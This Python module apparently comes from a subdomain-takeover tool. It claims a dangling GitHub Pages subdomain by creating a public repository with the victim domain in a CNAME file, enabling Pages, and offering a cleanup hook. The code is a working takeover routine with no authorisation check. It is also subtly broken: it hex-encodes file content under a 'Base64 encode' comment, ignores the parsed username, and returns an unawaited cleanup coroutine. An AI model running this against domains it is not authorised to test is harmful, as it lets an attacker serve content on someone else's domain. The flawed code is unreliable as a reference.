"""GitHub Pages exploitation module."""
import os
from typing import Dict
import aiohttp

from reclaimor.exploit.providers.base import BaseExploiter
from reclaimor.utils.logger import setup_logger

logger = setup_logger(__name__)


class GitHubExploiter(BaseExploiter):
    """GitHub Pages subdomain takeover exploiter."""
    
    async def exploit(self, domain: str, dns_info: Dict, http_info: Dict) -> Dict:
        """
        Attempt GitHub Pages takeover by creating a repository.
        
        Requires GITHUB_TOKEN environment variable.
        """
        result = {
            "success": False,
            "method": None,
            "proof": None,
            "cleanup": None,
            "error": None,
        }
        
        github_token = os.getenv("GITHUB_TOKEN")
        if not github_token:
            result["error"] = "GITHUB_TOKEN environment variable not set"
            return result
        
        # Extract repository name from CNAME
        cname = dns_info.get("cname", "")
        if not cname or "github.io" not in cname:
            result["error"] = "Not a GitHub Pages CNAME"
            return result
        
        # Parse username and repo from CNAME (e.g., user.github.io)
        parts = cname.replace(".github.io", "").split(".")
        if not parts:
            result["error"] = "Could not parse GitHub username from CNAME"
            return result
        
        username = parts[0]
        repo_name = domain.replace(".", "-")  # Create repo name from domain
        
        try:
            # Create repository via GitHub API
            async with aiohttp.ClientSession() as session:
                headers = {
                    "Authorization": f"token {github_token}",
                    "Accept": "application/vnd.github.v3+json",
                }
                
                # Create repo
                create_url = "https://api.github.com/user/repos"
                repo_data = {
                    "name": repo_name,
                    "description": f"ReClaimor verification for {domain}",
                    "private": False,
                    "auto_init": True,
                }
                
                async with session.post(create_url, json=repo_data, headers=headers) as resp:
                    if resp.status not in [200, 201]:
                        error_text = await resp.text()
                        result["error"] = f"Failed to create repo: {error_text}"
                        return result
                    
                    repo_info = await resp.json()
                    repo_full_name = repo_info["full_name"]
                
                # Create CNAME file in repo
                verification_token = self._generate_verification_token(domain)
                cname_content = f"{domain}\n<!-- ReClaimor: {verification_token} -->"
                
                file_url = f"https://api.github.com/repos/{repo_full_name}/contents/CNAME"
                file_data = {
                    "message": "Add CNAME for subdomain takeover verification",
                    "content": cname_content.encode().hex(),  # Base64 encode
                }
                
                async with session.put(file_url, json=file_data, headers=headers) as resp:
                    if resp.status not in [200, 201]:
                        result["error"] = "Failed to create CNAME file"
                        return result
                
                # Enable GitHub Pages
                pages_url = f"https://api.github.com/repos/{repo_full_name}/pages"
                pages_data = {"source": {"branch": "main", "path": "/"}}
                
                async with session.post(pages_url, json=pages_data, headers=headers) as resp:
                    if resp.status not in [200, 201, 409]:  # 409 = already enabled
                        logger.warning("Could not enable GitHub Pages automatically")
                
                result["success"] = True
                result["method"] = "GitHub Pages repository creation"
                result["proof"] = f"https://github.com/{repo_full_name}"
                result["cleanup"] = lambda: self._cleanup_repo(repo_full_name, github_token)
                
                logger.info(f"Successfully created GitHub Pages repo: {repo_full_name}")
        
        except Exception as e:
            logger.error(f"GitHub exploitation error: {e}")
            result["error"] = str(e)
        
        return result
    
    async def _cleanup_repo(self, repo_full_name: str, token: str):
        """Delete the created repository."""
        try:
            async with aiohttp.ClientSession() as session:
                headers = {
                    "Authorization": f"token {token}",
                    "Accept": "application/vnd.github.v3+json",
                }
                url = f"https://api.github.com/repos/{repo_full_name}"
                async with session.delete(url, headers=headers) as resp:
                    if resp.status == 204:
                        logger.info(f"Cleaned up repository: {repo_full_name}")
                    else:
                        logger.warning(f"Failed to cleanup repository: {repo_full_name}")
        except Exception as e:
            logger.error(f"Cleanup error: {e}")
